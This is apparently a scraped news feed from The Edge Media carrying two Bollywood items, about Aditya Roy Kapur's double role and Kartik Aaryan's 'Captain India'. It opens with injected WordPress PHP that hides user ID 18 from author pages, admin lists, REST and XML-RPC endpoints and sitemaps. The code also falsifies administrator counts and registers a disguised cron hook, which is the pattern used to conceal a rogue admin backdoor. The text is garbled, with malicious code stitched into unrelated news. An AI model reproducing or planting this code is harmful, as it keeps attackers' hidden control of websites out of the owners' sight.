add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Aditya Roy Kapur all set to play double role in the new film appeared first on The Edge Media.
]]>Announcing the film, Tseries Instagram account read, “We’re excited to announce our next, a thriller, starring @adityaroykapur in a double role for the first time. Hindi remake of the Tamil hit, #Thadam, to be directed by Vardhan Ketkar”

The film is set to go on floors in September this year.
Talking about this challenging role, Aditya said, “I am inspired and excited to be part of telling such an interesting story. The original film was incredibly riveting and entertaining, and it left a lasting impression on me. As an actor, getting a chance to do a double role is double the preparation and double the challenge, and I’m certainly up for it! I look forward to collaborating with Bhushanji, Murad Bhai and Vardhan to bring this exciting thriller to the screen soon.”
Murad Khetani added, “When Murad Bhai shared the idea of the Hindi remake of Thadam I was excited as it had received a lot of acclaim down south. Working with like-minded people is always fun, that is why I like collaborating with Murad Bhai. The last film we did with Aditya was an action film and everyone loved him in that role. We all mutually agreed he will fit the characters in this as well.”
Meanwhile, Aditya Roy Kapur will be seen in upcoming film OM-The Battle Within alongside Dil Bechara actress Sanjana Sanghi. The action thriller film features the actor duo sporting a rugged action look that they have carried for their action sequences.
The post Aditya Roy Kapur all set to play double role in the new film appeared first on The Edge Media.
]]>The post Katik Aaryan shares first look from ‘Captain India’ appeared first on The Edge Media.
]]>
When a man goes beyond the call of duty Flag of India. With great pride and honour, we bring to you Captain India,” wrote Kartik while sharing the poster.
Check the tweet here :
https://twitter.com/TheAaryanKartik/status/1418445706398900226?s=19
Kartik said: “‘Captain India’ is inspiring and thrilling in equal measure and it gives me great pride and honour to be a part of such a historic chapter of our country.”
“I have immense respect for Hansal sir’s body of work and this was the perfect opportunity to collaborate with him,” Kartik said about the filmmaker who’s lknown for projects like Aligarh, Shahid and the recently released Scam 1992: The Harshad Mehta Story.
Hansal Mehta said the film will revisit a moment where a man goes beyond his own pain.
The post Katik Aaryan shares first look from ‘Captain India’ appeared first on The Edge Media.
]]>